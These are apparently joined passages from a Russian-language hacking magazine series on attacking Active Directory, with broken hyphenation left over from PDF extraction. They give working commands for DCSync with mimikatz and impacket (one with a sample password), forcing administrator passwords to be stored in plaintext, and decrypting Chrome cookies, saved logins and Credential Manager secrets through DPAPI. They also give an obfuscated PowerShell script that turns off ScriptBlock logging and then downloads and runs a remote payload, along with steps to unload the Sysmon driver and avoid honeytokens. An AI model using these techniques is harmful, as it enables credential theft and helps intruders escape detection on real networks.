ной  ата ки  нуж но  толь ко  имя  поль зовате ля,  то  есть мож но  сос тавить  спи сок
и про верить сра зу нес коль ко имен. Плюс ко все му мож но так же узнать, какие
поль зовате ли зарегис три рова ны в сис теме, а какие нет.

Спи сок поль зовате лей

Про вер ка имен поль зовате лей и получе ние хеша

Взло мать получен ный хеш мож но с помощью John the Riррer.

Ре зуль тат работы John

Дру гое раз личие меж ду Kerberoasting и AS‐REР Roasting зак люча ется в  том,
что  AS‐REP  зап рашива ет  билет  про вер ки  под линнос ти  Kerberos  (TGT),  а  не
билет про вер ки под линнос ти служ бы (TGS).

DCSYNC
Для ата ки DCSync необ ходимы спе циаль ные пра ва. Любой член групп «Адми‐ 
нис тра торы»  и  «Адми нис тра торы  домена»,  а  так же  учет ных  записей  компь‐ 
юте ров кон трол лера домена может выпол нить реп ликацию дан ных, исполь зуя
про токол реп ликации катало гов DRS. Таким обра зом кли ент ский DC отправ‐ 
ляет  зап рос    на  сер вер,  ког да  хочет  получать  от  него
обновле ния объ ектов AD. Ответ содер жит набор обновле ний, которые кли ент
дол жен при менить к сво ей реп лике NC.

DSGetNCChanges

Мож но  выпол нить  DCSync  с  исполь зовани ем  обыч ной  учет ной  записи
поль зовате ля. Но для это го одно из сле дующих пра вил дол жно быть делеги‐ 
рова но на уров не домена, что бы учет ная запись поль зовате ля мог ла бес пре‐ 
пятс твен но получать дан ные с помощью DCSync:
1.    —  это  раз решение  необ ходимо
для  реп ликации  толь ко  тех  изме нений,  которые  так же  реп лициро ваны
в гло баль ный каталог.

DS­Replication­Get­Changes

2.    —  раз решение  поз воля ет  реп‐ 
ликацию всех дан ных.
DS­Replication­Get­Changes­All

Чле ны групп «Адми нис тра торы» и «Кон трол лер домена» по умол чанию име ют
эти  пра ва.  Пос ле  того  как  учет ной  записи  делеги рова на  воз можность  реп‐ 
ликации объ ектов, учет ная запись может исполь зовать mimikatz DCSync:

mimikatz# lsadump::dcsync /domain:[домен] /user:[пользователь]

DCSync с помощью mimikatz

Так же при реали зации дан ной ата ки мож но получить исто рию паролей учет‐ 
ной  записи,  точ нее  NTLM‐хеши.  Взлом  этих  хешей  поз волит  понять  логику
выс тавле ния  паролей,  что,  воз можно,  поможет  уга дать  сле дующий  пароль
в слу чае замены.

Взлом хешей, получен ных с помощью DCSync

Вы пол нить  DCSync  мож но  так же  с  помощью    уда лен но,  для  чего
нуж ны учет ные дан ные.

imрacket

secretsdump.py tdomain.dom/root:Secret08@192.168.226.137

DCSync с помощью imрacket

ПОЛУЧЕНИЕ ОТКРЫТОГО ПАРОЛЯ С ПОМОЩЬЮ DCSYNC
Но что делать, если хеш пароля не взла мыва ется?

DCSync пос ле изме нения пароля

Слож ный для взло ма хеш пароля

Вы ход есть! Для учет ных записей Active Directory сущес тву ет уста рев шая фун‐ 
кция,  которая  называ ется  «обра тимое  шиф рование».  Если  вклю чено  обра‐ 
тимое  шиф рование,  то  зашиф рован ные  дан ные  могут  быть  воз вра щены
обратно к паролю поль зовате ля.

Ес ли  для  учет ной  записи  вклю чено  обра тимое  шиф рование  и  поль‐ 
зователь меня ет пароль пос ле уста нов ки этой кон фигура ции, пароль в виде
откры того тек ста сох раня ется в базе дан ных Active Directory.

Опе ратор может  соз дать  новую  груп пу    и  добавить  все  учет‐ 
ные записи домена с атри бутом  , уста нов ленным в  .

ShareRoint
AdminCount 1

PS > New‐ADGroup ‐Name ShareRoint ‐SamAccountName ShareRoint ‐GroupC
ategory Security ‐GroupScope Global ‐DisplayName ShareRoint ‐Path 
"CN=Users,DC=tdomain,DC=dom"
PS > $Admins = Get‐ADUser ‐filter { AdminCount ‐eq 1 }
PS > Add‐ADGroupMember ShareRoint ‐Members $Admins

Те перь нуж но соз дать новую пароль ную полити ку.

PS C:\Windows\system32> New‐ADFineGrainedPasswordPolicy ‐Name ShareR
oint ‐DisplayName ShareRoint ‐Precedence 1 ‐ComplexityEnabled $false 
‐ReversibleEncryptionEnabled $true ‐PasswordHistoryCount 0 ‐MinPas
swordLength 0 ‐MinPasswordAge 0.00:00:00 ‐MaxPasswordAge 0.00:00:00 ‐
LockoutThreshold 0 ‐LockoutObservationWindow 0.00:00:00 ‐Lockou
tDuration 0.00:00:00

Про верим, что атри бут   уста нов лен в  .ReversibleEncryptionEnabled True

PS C:\Windows\system32> Get‐ADFineGrainedPasswordPolicy ShareRoint

Па роль ная полити ка для ShareRoint

Те перь сто ит при менить пароль ную полити ку к новой груп пе.

Add‐ADFineGrainedPasswordPolicySubject ‐Identity ShareRoint ‐Subjects
ShareRoint

Про верить, при мени лась ли пароль ная полити ка, очень лег ко.

Па роль ная полити ка для ShareRoint

Но вая  пароль ная  полити ка  обну ляет  все  стан дар тные  парамет ры  безопас‐ 
ности паролей домена. Пос ле сме ны пароля, которую ини циирует опе ратор,
все пароли адми нис тра торов будут хра нить ся в откры том виде.

Па роль поль зовате ля в откры том виде в резуль тате DCSync

Продолжение статьи →
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КАК ИСКАТЬ КРИТИЧЕСКИ ВАЖНЫЕ ДАННЫЕ

ПРИ АТАКЕ НА ДОМЕН

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ХРАНИЛИЩЕ ПАРОЛЕЙ WINDOWS
Data Protection API (DPAPI) — крип тогра фичес кий интерфейс прог рамми рова‐ 
ния при ложе ний в ОС семей ства Windows, обес печива ющий кон фиден циаль‐ 
ность дан ных путем их шиф рования.

Поч ти для всех крип тосис тем одна из самых слож ных задач — управле ние
клю чами, вер нее воп рос безопас ного хра нения клю чей. Если ключ хра нит ся
в  виде  обыч ного  тек ста,  то  любой  поль зователь,  име ющий  дос туп  к  клю чу,
может  получить  дос туп  и  к  зашиф рован ным  дан ным.  DPAPI  поз воля ет  раз‐ 
работ чикам шиф ровать при ват ные дан ные или клю чи, исполь зуя сим метрич‐ 
ный ключ, получен ный на осно ве пароля поль зовате ля.

DPAPI  пре дос тавля ет  набор  API  для  прос того  шиф рования  (
)  и  дешиф рования  ( )  дан ных  с  исполь‐ 

зовани ем  неяв ных  клю чей,  при вязан ных  к  кон крет ному  поль зовате лю
или сис теме. Это поз воля ет при ложе ниям защищать поль зователь ские дан‐ 
ные, не бес поко ясь о таких вещах, как управле ние клю чами.

CryptPro‐
tectData() CryptUnprotectData()

Па роль юзе ра исполь зует ся для получе ния мас тер‐клю ча. Эти клю чи рас‐ 
положе ны  в  пап ке 

,  где    —  это  иден тифика тор  безопас ности  поль‐ 
зовате ля, а   — имя мас тер‐клю ча. Поль зователь может иметь нес коль‐ 
ко мас тер‐клю чей. Этот мас тер‐ключ необ ходимо рас шифро вать с помощью
пароля  поль зовате ля  или  клю ча  резер вно го  копиро вания  домена,  а  затем
при менить для рас шифров ки любых дан ных DPAPI. Поэто му, если мы попыта‐ 
емся  рас шифро вать  зашиф рован ный  поль зовате лем  объ ект  дан ных  DPAPI
(нап ример,  cookie  Chrome),  нам  нуж но  получить  кон крет ный  мас тер‐ключ
поль зовате ля.

C:\Users\<USER>\AppData\Roaming\Microsoft\Pro‐
tect\<SID>\<GUID> <SID>

<GUID>

ПО, исполь зующее DPAPI
Chrome исполь зует DPAPI для хра нения двух основных типов дан ных, которые
инте ресу ют опе рато ра: содер жимого фай лов cookie и сох ранен ных паролей.
Фай лы  cookie  рас положе ны  по  пути 

, а дан ные авто риза ции — 
. В боль шинс тве сис тем 

  сопос тавля ется  с  .  Но  сами  шиф‐ 
рован ные  дан ные  хра нят ся  в  базе  дан ных  SQLite,  с  которы ми  спо собен
работать mimikatz. Так как у меня уста нов лен Chrome Dev, то в при мере вмес‐ 
то дирек тории   исполь зует ся дирек тория  .

%localappdata%\Google\Chrome\User 
Data\Default\Cookies %localappdata%\Google\
Chrome\User Data\Default\Login Data %localap‐
pdata% C:\Users\<USER>\AppData\Local

Chrome Chrome Dev
Прос мотреть спи сок фай лов cookie и учет ных дан ных с помощью mimikatz

мож но сле дующим обра зом:

mimikatz # dpapi::chrome /in:”%localappdata%\Google\Chrome Dev\User 
Data\Default\Cookies”

Cookie, хра нящи еся в базе дан ных

mimikatz # dpapi::chrome /in:”%localappdata%\Google\Chrome Dev\User 
Data\Default\Login Data”

Дан ные форм авто риза ции, хра нящи еся в базе дан ных

Од нако зна чения фай лов cookie зашиф рованы DPAPI с помощью мас тер‐клю‐ 
ча поль зовате ля,  который, в свою оче редь, защищен паролем поль зовате ля
(или  клю чом  резер вно го  копиро вания  домена).  Есть  нес коль ко  сце нари ев,
в которых может ока зать ся опе ратор, пыта ясь получить дан ные фай лов cookie
(или дан ные для вхо да).

1. В кон тек сте целево го поль зовате ля
Са мый  прос той  слу чай,  ког да  твоя  сес сия  находит ся  в  кон тек сте  целево го
поль зовате ля.  При  таком  рас кла де  сле дует  добавить  в  коман ду  флаг 

./unprotect

mimikatz # dpapi::chrome /in:”%localappdata%\Google\Chrome Dev\User 
Data\Default\Cookies” /unprotect

Рас шифро ван ные Cookie

mimikatz # dpapi::chrome /in:”%localappdata%\Google\Chrome Dev\User 
Data\Default\Login Data” /unprotect

Рас шифро ван ные дан ные форм авто риза ции

Пос коль ку  код  выпол няет ся  в  кон тек сте  поль зовате ля,  то  его  клю чи  будут
неяв но  исполь зовать ся  для  рас шифров ки.  Единс твен ная  проб лема,
с  которой может  стол кнуть ся  опе ратор, —  это  невоз можность  открыть  базу
дан ных Cookies,  ког да  она  исполь зует ся Chrome.  Тог да  необ ходимо  прос то
ско пиро вать фай лы в дру гое мес то и пов торно исполь зовать mimikatz.

2. В кон тек сте адми нис тра тора с активной сес сией целево го
поль зовате ля
К при меру, опе ратор получил адми нис тра тив ный дос туп к сис теме, в которой
име ются  поль зовате ли,  в  текущий  момент  вре мени  вошед шие  в  сис тему.
В этом слу чае прош лый сце нарий не сра бота ет.

Не удач ное рас шифро вание дан ных форм авто риза ции

Так  про исхо дит  потому,  что  ключ  юзе ра  в  текущем  кон тек сте  неяв но
не исполь зует ся. И как вид но из сооб щения mimikatz, для работы необ ходим
мас тер‐ключ  поль зовате ля  (так же  сооб щает ся  GUID).  Так  как  поль зователь
залоги нен  в  сис теме,  его  сес сия  откры та  и  DPAPI  хра нит  его  клю чевую
информа цию. Имея адми нис тра тив ный дос туп, опе ратор может извлечь все
дан ные DPAPI, где и сле дует искать мас тер‐ключ.

mimikatz # privilege::debug
mimikatz # sekurlsa::dpapi

Из вле чение дан ных DPAPI

Клю чевая информа ция целево го поль зовате ля

Те перь, ког да опе ратор вла деет мас тер‐клю чом, он может исполь зовать его
для рас шифров ки дан ных поль зовате ля.

mimikatz # dpapi::chrome /in:”С:\Users\<USER>\AppData\Local\Google\
Chrome Dev\User Data\Default\Login Data” /unprotect /masterkay:[
мастер‐ключ]

Рас шифро ван ные дан ные фор мы авто риза ции поль зовате ля

3. В кон тек сте адми нис тра тора без сес сии целево го поль зовате -
ля
Ес ли  целевой  поль зователь  на  текущий  момент  не  вошел  в  сис тему,  то
для  получе ния  его мас тер‐клю ча  необ ходимо  знать  его  SID, GUID  и  пароль
или NTLM‐хеш пароля. Если пароль или хеш известен (а как получить хотя бы
хеш,  рас ска зыва лось  ранее),  то  нуж но  узнать  толь ко  SID, GUID мы  получим
из сооб щения mimikatz (как в пре дыду щем пун кте).

SID целево го поль зовате ля

И теперь опе ратор может получить мас тер‐ключ.

mimikatz # dpapi::chrome /in:”С:\Users\<USER>\AppData\Roaming\Micros
oft\Protect\<SID>\<GUID>” /sid:[SID] /password:[пароль]

По луче ние мас тер‐клю ча

Что делать даль ше, уже под робно рас ска зыва лось выше.

4. Адми нис тра тив ный дос туп к кон трол леру домена
Те перь  рас смот рим  слу чай,  ког да  опе ратор  не  име ет  хешей  или  паролей
поль зовате лей, при этом сами поль зовате ли в нас тоящий момент не залоги‐ 
нены  в  сис теме.  Как  уже  говори лось,  получить  мас тер‐ключ  мож но
с  помощью  клю ча  резер вно го  копиро вания  домена.  Ключ  резер вно го
копиро вания  никог да  не  меня ется,  и  его  мож но  исполь зовать  для  рас‐ 
шифров ки абсо лют но любых клю чей поль зовате лей домена.

mimikatz # privilege::debug
mimikatz # lsadump::backupkeys /system:[контроллер домена] /export

Эк спорт клю ча резер вно го копиро вания

Да лее опе рато ру нужен GUID целево го поль зовате ля.

GUID целево го поль зовате ля

Ос талось получить мас тер‐ключ для это го поль зовате ля.

dpapi::masterkey /in:[GUID] /pvk:[PVK‐ключ]

По луче ние мас тер‐клю ча поль зовате ля

Та ким  обра зом,  мы  рас смот рели  все  спо собы  извле чения  сох ранен ных
паролей.

ДИСПЕТЧЕР УЧЕТНЫХ ДАННЫХ
Дис петчер учет ных дан ных, или Credential Manager, — это механизм, который
поз воля ет  управлять  регис тра цион ными  дан ными  поль зовате лей  (логин
и  пароль)  для  дос тупа  к  сетевым  ресур сам,  а  так же  сер тифика тами  и  учет‐ 
ными дан ными для раз личных при ложе ний (элек трон ной поч ты, веб‐сер висов
и  про чих).  Рас смот рим  работу  с  дис петче ром  учет ных  дан ных  на  при мере
RDP.

Сох ранен ные учет ные дан ные в WCM через гра фичес кий интерфейс

Най ти те же дан ные с помощью коман дной стро ки мож но сле дующим обра‐ 
зом (для англий ской локали сле дует исполь зовать стро ку 

.):
/listcreds:"Win‐

dows Credentials"

> vaultcmd /listcreds:"Учетные данные Windows" /all

Сох ранен ные учет ные дан ные в WCM через коман дную стро ку

Эти учет ные дан ные хра нят ся в катало ге поль зовате ля 
.

C:\Users\<USER>\Ap‐
pData\Local\Microsoft\Credentials\

Учет ные дан ные поль зовате ля

Пос мотрим на эти дан ные.

dpapi::cred /in:C:\Users\<USER>\AppData\Local\Microsoft\Credentials\[
хранилище]

Со дер жимое хра нили ща учет ных дан ных

Са мое инте рес ное здесь — это    (дан ные, которые нуж но рас шифро‐ 
вать) и  .  Как получить мас тер‐ключ, мы рас смот рели рань ше
(эту ста дию мы про пус тим). Давай рас шифру ем учет ные дан ные.

pbData
guidMasterKey

dpapi::cred /in:C:\Users\<USER>\AppData\Local\Microsoft\Credentials\[
хранилище] /masterkeys:[мастер‐ключ]

Рас шифро ван ные учет ные дан ные поль зовате ля

По доб ным обра зом мож но извлечь любые дан ные, сох ранен ные в WCM.

ВМЕСТО ЗАКЛЮЧЕНИЯ
Для тех, кто хочет получить боль ше информа ции по этой теме, я соз дал телег‐ 
рам‐канал @RalfHackerChannel, где мож но задать свои воп росы (или отве тить
на воп росы дру гих юзе ров). До встре чи в сле дующих стать ях!
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ВЗЛОМ

Про ник нуть  в  сеть  под  управле нием  Active  Directory  —
это  толь ко  полови на  успе ха.  Дру гая  важ ней шая  задача  —
оста вать ся  в  этой  сети  незаме чен ным  как  мож но  доль ше.
Поэто му сегод ня мы раз берем тех ники скры тия ата ки от кон‐ 
крет ных средств обна руже ния и реаги рова ния.

Дру гие статьи про ата ки на Active Directory
• Раз ведка  в  Active  Directory.  Получа ем  поль зователь ские  дан ные  в  сетях
Windows без при виле гий

• Ата ки  на Active Directory.  Раз бира ем акту аль ные методы повыше ния  при‐ 
виле гий

• Бо ковое переме щение в Active Directory. Раз бира ем тех ники Lateral Move‐
ment при ата ке на домен

• За щита от детек та в Active Directory. Укло няем ся от обна руже ния при ата ке
на домен

• Сбор  уче ток  в  Active  Directory.  Как  искать  кри тичес ки  важ ные  дан ные
при ата ке на домен

• Зак репля емся в Active Directory. Как сох ранить дос туп при ата ке на домен

ОБХОД ЖУРНАЛИРОВАНИЯ POWERSHELL SCRIPTBLOCK
С выходом Windows 10 и PowerShell 5.0 ком пания Microsoft пред ста вила нес‐ 
коль ко  новых  фун кций  безопас ности  для  PowerShell,  в  чис ле  которых  —
ведение  жур нала  ScriptBlock.  Эта  фун кция  соз дает  боль шие  проб лемы
для ата кующе го (будь то ред тимер, пен тестер, иссле дова тель или зло умыш‐ 
ленник),  так  как  регис три рует  абсо лют но  все  подоз ритель ные  дей ствия
в  PowerShell.  И  соз данные  ScriptBlock  жур налы  под лежат  ана лизу  сто роной
защиты.

WARNING

Вся  информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный информа цией из этой статьи.

Как и в слу чае с любой служ бой логиро вания, ведени ем жур нала ScriptBlock
управля ют  с  помощью  парамет ров  груп повой  полити ки.  PowerShell  зап‐ 
рашива ет его каж дый раз, ког да обна ружи вает новый ScriptBlock, что бы опре‐ 
делить,  нуж но  ли  его регис три ровать. Но дело  в  том,  что PowerShell  выпол‐ 
няет зап рос один раз, кеширу ет его в памяти и воз вра щает при каж дом обра‐ 
щении.  Таким  обра зом,  эти  парамет ры  могут  быть  лег ко  изме нены
с помощью сле дующе го кода.

$GroupPolicySettingsField = [ref].Assembly.GetType('System.Manage
ment.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPub
lic,Static')
$GroupPolicySettings = $GroupPolicySettingsField.GetValue($null)
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockLogging'
] = 0
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockInvocat
ionLogging'] = 0

Ука зан ные  дей ствия  мож но  выпол нить,  не  обла дая  при виле гиями  адми нис‐ 
тра тора  и  не  тро гая  реестр,  что  поз воля ет  нам  сде лать  это  незамет но.
Но  есть  одно  огра ниче ние.  Новые  полити ки  при меня ются  пос ле  про вер ки
парамет ров,  которые  будут  прос мотре ны,  ког да  завер шится  пер вый  Script‐
Block,  что  при ведет  к  регис тра ции  события.  Поэто му  дан ный  триг герный
ScriptBlock  дол жен  быть  мак сималь но  обфусци рован  и  не  дол жен  нес ти
никакой  полез ной  наг рузки.  То  есть  выпол няет ся  он  спе циаль но  для  завер‐ 
шения жур налиро вания.

$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automa
tion.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,
Static')
If ($GroupPolicyField) {
   $GroupPolicyCache = $GroupPolicyField.GetValue($null)
   If ($GroupPolicyCache['ScriptB'+'lockLogging']) {
       $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+
'lockLogging'] = 0
       $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlo
ckInvocationLogging'] = 0
   }
   $val = [System.Collections.Generic.Dictionary[string,System.
Object]]::new()
   $val.Add('EnableScriptB'+'lockLogging', 0)
   $val.Add('EnableScriptB'+'lockInvocationLogging', 0)
   $GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Micros
oft\Windows\PowerShell\ScriptB'+'lockLogging'] = $val
}
iex (New‐Object Net.WebClient).downloadstring("https://server/
payload.ps1")

При веден ный  выше  скрипт  выпол няет  триг гер  для  жур нала,  про веря ет
парамет ры логиро вания и  запус кает  полез ную наг рузку  в обход жур налиро‐ 
вания.

УКЛОНЕНИЕ ОТ РЕГИСТРАЦИИ SYSMON
Сис темный монитор (Sysmon) — это сис темная служ ба Windows, пред назна‐ 
чен ная  для  монито рин га  и  регис тра ции  активнос ти  сис темы  в  жур нале
событий  Windows.  Она  пре дос тавля ет  под робную  информа цию  о  соз дании
про цес сов, о сетевых под клю чени ях и изме нени ях вре мени соз дания фай лов.
Sysmon  генери рует  с  помощью  Windows  Event  Collection  или  аген тов  SIEM
события  и  собира ет  их.  Ана лиз  соб ранных  событий  помога ет  иден тифици‐ 
ровать  вре донос ную  или  ано маль ную  активность.  Что  очень  важ но,  Sysmon
не пре дос тавля ет ана лиз событий, которые он генери рует, а  так же не пыта‐ 
ется защитить сис тему или спря тать ся от зло умыш ленни ков.

Sysmon — мощ ное средс тво ана лиза и пред став ляет боль шую проб лему
для  опе рато ра,  так  как  поз воля ет  обна ружить  раз личные  инди като ры  вре‐ 
донос ной  активнос ти,  нап ример  соз дание  про цес сов,  фай лов,  потоков
или изме нение реес тра. Сам Sysmon сос тоит из сис темной служ бы и драй‐ 
вера,  который  пре дос тавля ет  служ бе  информа цию.  Хотя Sysmon и  не  пыта‐ 
ется  себя скрыть,  но имя служ бы и имя драй вера по  умол чанию могут быть
изме нены.

Из менения име ни Sysmon на DrvName

В  любом  слу чае  изме нен ное  имя  драй вера  не  проб лема,  так  как  у  каж дого
драй вера есть своя апти туда — уни каль ный иден тифика тор, который ука зыва‐ 
ет положе ние драй вера отно ситель но осталь ных в сте ке фай ловой сис темы.
Таким обра зом, Sysmon име ет пре доп ределен ное зна чение  . То есть
мы смо жем обна ружить дан ный драй вер, даже если его пере име нуют.

385201

Де фол тная апти туда DrvName — 385201

Для  выг рузки  драй вера  мож но  исполь зовать  ,  но  перед  этим  Sysmon
зап ротоко лиру ет  дан ное  дей ствие  в  жур нале  коман дной  стро ки.  Луч ше
исполь зовать  фун кции    и    из  биб‐ 
лиоте ки  ,  что бы  най ти  и  выг рузить  драй вер  с  апти тудой 
без регис тра ции это го события.

fltMC

FIlterFindFirst() FilterFindNext()
fltlib.dll 385201

Ре гис тра ция fltmc.exe в жур нале коман дной стро ки с помощью Sysmon

 исполь зует эти фун кции для выг рузки драй вера. Что бы это сде лать,
токен  про цес са  дол жен  иметь  при виле гию  ,
которая есть у Shhmon за счет  .

Shhmon
SeLoadDriverPrivileges

advapi32!AdjustTokenPrivileges

При виле гии Shhmon

Та ким обра зом, мы без  детек та можем обна ружить  даже пере име нован ный
драй вер Sysmon. Для это го исполь зуем Shhmon с парамет ром  .hunt

Об наруже ние пере име нован ного драй вера Sysmon

За тем выг ружа ем драй вер, исполь зуя Shhmon с парамет ром  .kill

Об наруже ние пере име нован ного драй вера Sysmon

Служ ба  Sysmon  оста ется  активной,  но  уже  без  воз можнос ти  собирать
события и ана лизи ровать жур налы! Прав да, это про исхо дит не бес след но, так
как  перед  выг рузкой  драй вера  будет  сге нери рова но  событие  Sysmon  с  ID
255 —  .DriverCommunication

Со бытие Sysmon DriverCommunication

Плюс  ко  все му  исполь зование  при виле гии 
без про токо лиро вания дос тупно толь ко для  , в про тив‐ 
ном  слу чае  будет  сге нери рова но  событие  безопас ности  с  ID  4672.  Тем
не  менее  активный  сбор  и  ана лиз  дан ных  с  помощью  Sysmon  перес танет
быть для нас проб лемой.

SeLoadDriverPrivileges
NT AUTHORITY\SYSTEM

В качес тве допол нения мож но ска зать про инс тру мент под наз вани ем 
. Этот сце нарий прос матри вает сте ки потоков про цес са служ бы

жур нала  событий  и  опре деля ет,  какие  из  потоков  под лежат  унич тожению.
Таким обра зом, сис тема не смо жет собирать жур налы, и в то же вре мя служ‐ 
ба жур нала событий будет работать.

In‐
voke‐Phant0m

УКЛОНЕНИЕ ОТ HONEYTOKEN
Honeypot  —  при ман ка  для  зло умыш ленни ка.  Такие  ресур сы  соз дают  спе‐ 
циаль но для  того,  что бы они под вер глись ата ке или несан кци они рован ному
воз дей ствию.  Впос ледс твии  ана лити ки  изу чают  стра тегию  ата ки,  а  так же
опре деля ют, с помощью каких средств она велась. При этом успешная ата ка
на такой ресурс не при несет никако го вре да ата куемой инфраструк туре. Ины‐ 
ми сло вами, honeypot может пред став лять собой как спе циаль ный выделен‐ 
ный сер вер, так и один отдель ный сер вис.

Honeytoken’ы  —  это  honeypot’ы,  которые  не  явля ются  компь ютер ными
сис темами. Нап ример, к этой катего рии мож но отнести вымыш ленные сло ва
или  записи,  которые  добав ляют ся  в  реаль ные  базы  дан ных. Они  поз воля ют
адми нис тра торам отсле живать  утеч ки дан ных в  сетях,  потому  что в обыч ных
усло виях эти дан ные всплы вать не дол жны вооб ще. Так как они вряд ли ког‐ 
да‐либо  появят ся  в  легитим ном  тра фике,  honeytoken’ы  могут  быть  лег ко
обна руже ны с помощью IDS.

По мимо  это го,  honeytoken’ами  могут  быть  спе циаль ные  учет ные  записи
поль зовате лей  (осо бен но  с  опи сани ем    или  )  либо  записи
в  базе  дан ных  (ниг де  не  исполь зуемые  слу чай ные  поля  вро де  ).
Час тый  при мер  honeytoken  —  ниг де  не  исполь зуемый  адрес  элек трон ной
поч ты.

admin netAdmin
password2

Но если объ екты соз дают ся спе циаль но для того, что бы их наш ли, как опе‐ 
рато ру не попасть в ловуш ку? Дело в  том,  что в этих объ ектах при сутс тву ют
так  называ емые  мар керы  —  приз нак,  по  которо му  обманка  отли чает ся
от  реаль ного  объ екта.  К  при меру,  если  взять  объ ект  «учет ная  запись»,  то
некото рые средс тва генера ции honeytoken’ов пор тят сле дующие атри буты:

 — име ет невер ный фор мат;• objectSID

 — наличие поль зовате лей, которые никог да не вхо дили в сис‐ 
тему, но име ют при виле гии;

• lastLogon

 — если у боль шинс тва учет ных записей сред ний показа тель
 сос тавля ет око ло 50, а у какой‐то учет ной записи — 3 или 4,

это повод задумать ся;

• logonCount

logonCount

 — нет такого поль зовате ля, который в течение дли тель ного
вре мени ни разу не ввел бы неп равиль ный пароль.

• badPwdCount

Как  было  отме чено,  самый  надеж ный  спо соб  опре делить  ано малию  —
это срав нивать со сред ним показа телем. Луч ше что‐то оста вить неп роверен‐ 
ным,  чем  про верить  и  быть  обна ружен ным.  Еще  один  важ ный  кри терий  —
это объ екты, не сопос тавлен ные с реаль ными компь юте рами.

Дол гие  иссле дова ния  и  накоп ленные  методи ки  поз волили  выявить  семь
самых час тых типов honeytoken'ов.
1. Фаль шивая  учет ная  запись  поль зовате ля  служ бы  с  опре делен ным  SPN
и атри бутом  ,  рав ным  еди нице. В  этом  слу чае  будет  зафик‐ 
сирова на  попыт ка  Kerberoasting  при  зап росе  TGS  для  дан ной  учет ной
записи.

adminCount

2. Фаль шивые учет ные дан ные в памяти. Соз дание про цес са с фла гом 
 при ведет к кеширо ванию под дель ного токена, поэто му, как толь ко

опе ратор  попыта ется  исполь зовать  эти  учет ные  дан ные,  он  будет  обна‐ 
ружен. Дан ный под ход при меня ют   и  .

Ne­

tOnly

Invoke‐HoneyHash DCEPT
3. Фаль шивые учет ные записи компь юте ров. Как уже отме чалось, соз данные
объ екты домена без при вяз ки к фак тичес ким устрой ствам подоз ритель ны.
Если исполь зовать их для боково го переме щения, опе рато ра обна ружат.

4. Фаль шивые  дан ные  дис петче ра  учет ных  дан ных.  Спе циаль но  вве ден ные
учет ные дан ные будут  отоб ражать ся  при  задей ство вании mimikatz. Соот‐ 
ветс твен но,  исполь зование  этих  учет ных  дан ных  немину емо  при ведет
к разоб лачению.

5. Фаль шивые  адми нис тра торы  домена.  Эти  учет ные  записи  неак тивны
и  никог да  не  исполь зовались.  Сре ди  боль шого  количес тва  учет ных
записей мож но не учесть неак тивные. Перебор учет ных дан ных для таких
записей сра зу выдаст опе рато ра. Этот спо соб исполь зует ся в АТА.

6. Фаль шивые  дис ки.  Мно гие  скрип ты  или  чер ви  рас простра няют ся  через
SMB‐ресур сы, осо бен но если ресурс помечен как общий. Таким обра зом,
все обра щения к дан ным ресур сам будут обна руже ны и зарегис три рова‐ 
ны.

7. За писи  DNS.  При  перехо де  по  спе циаль ным  DNS‐име нам  дан ный  факт
будет зарегис три рован и опе ратор будет обна ружен.

Ос новная  идея  всех  фаль шивых  объ ектов  —  зас тавить  опе рато ра  исполь‐ 
зовать их. Одна ко опе ратор может изу чить эти объ екты перед исполь зовани‐ 
ем. Для детек та всех семи  типов honeytoken’ов был раз работан инс тру мент

. Исполь зовать его мож но сле дующим обра зом.Honeypot Buster

Import‐Module .\Invoke‐HoneypotBuster.ps1
Invoke‐HoneypotBuster

Об наруже ние фаль шивой учет ной записи с помощью Honeypot Buster

Этот инс тру мент написан на PowerShell и под держи вает вер сии начиная с 2.0.
Для перечис ления объ ектов исполь зуют ся зап росы LDAP, а для сбо ра учет ных
дан ных — заг рузка DLL, что бы получить дос туп к LSASS.

ОБХОД APPLOCKER
Средс тво  под  наз вани ем  AppLocker  сни жает  риск  ком про мета ции  рабочих
машин.  Пра вила  Applockrt  при меня ются  к  целево му  при ложе нию,  которое
может  быть  исполня емым  фай лом,  скрип том,  фай лом  уста нов щика  и  даже
DLL.  У  каж дого  пра вила  есть  усло вия —  это  кри терии  иден тифика ции  при‐ 
ложе ния, к которо му это пра вило при меня ется.

Есть  три основных усло вия, фор миру ющих пра вила: изда тель, путь и  хеш
фай ла. Усло вие пути к фай лу опре деля ет при ложе ние по его рас положе нию
в  сис теме.  Усло вие  изда теля  опре деля ет  при ложе ние  на  осно ве  его  циф‐ 
ровой под писи. Усло вие хеша фай ла опре деля ет при ложе ние на осно ве его
хеша.

Пе речис ление пра вил AppLocker
Пер вым делом  гра мот ный опе ратор  пос тара ется  узнать  пра вила AppLocker.
В боль шинс тве слу чаев при меня ются пра вила по умол чанию, но так же встре‐ 
чают ся  и  поль зователь ские  нас трой ки.  Так  как  пра вила  AppLocker  обыч но
явля ются объ ектом груп повой полити ки, то их мож но зап росить в Active Direc‐
tory.  В  PowerShell  даже  сущес тву ет  модуль  AppLocker,  c  помощью  которо го
мож но зап росить пра вила, при меня емые в дан ной сис теме. Нап ример, сле‐ 
дующий скрипт пред ста вит пра вила AppLocker в удоб ном фор мате.

Import‐Module AppLocker
[xml]$data = Get‐AppLockerPolicy ‐effective ‐xml

Write‐Output "[+] Printing Applocker Rules [+]`n"
($data.AppLockerPolicy.RuleCollection | ? { $_.EnforcementMode 
‐match "Enabled" }) | ForEach‐Object ‐Process {
   Write‐Output ($_.FilePathRule | Where‐Object {$_.Name ‐NotLike "(
Default Rule)*"}) | ForEach‐Object ‐Process {Write‐Output "=== File 
Path Rule ===`n`n Rule Name : $($_.Name) `n Condition : $($_.Condit
ions.FilePathCondition.Path)`n Description: $($_.Description) `n 
Group/SID : $($_.UserOrGroupSid)`n`n"}
   Write‐Output ($_.FileHashRule) | ForEach‐Object ‐Process { 
Write‐Output "=== File Hash Rule ===`n`n Rule Name : $($_.Name) `n 
File Name :  $($_.Conditions.FileHashCondition.FileHash.Source
FileName) `n Hash type : $($_.Conditions.FileHashCondition.FileHash.
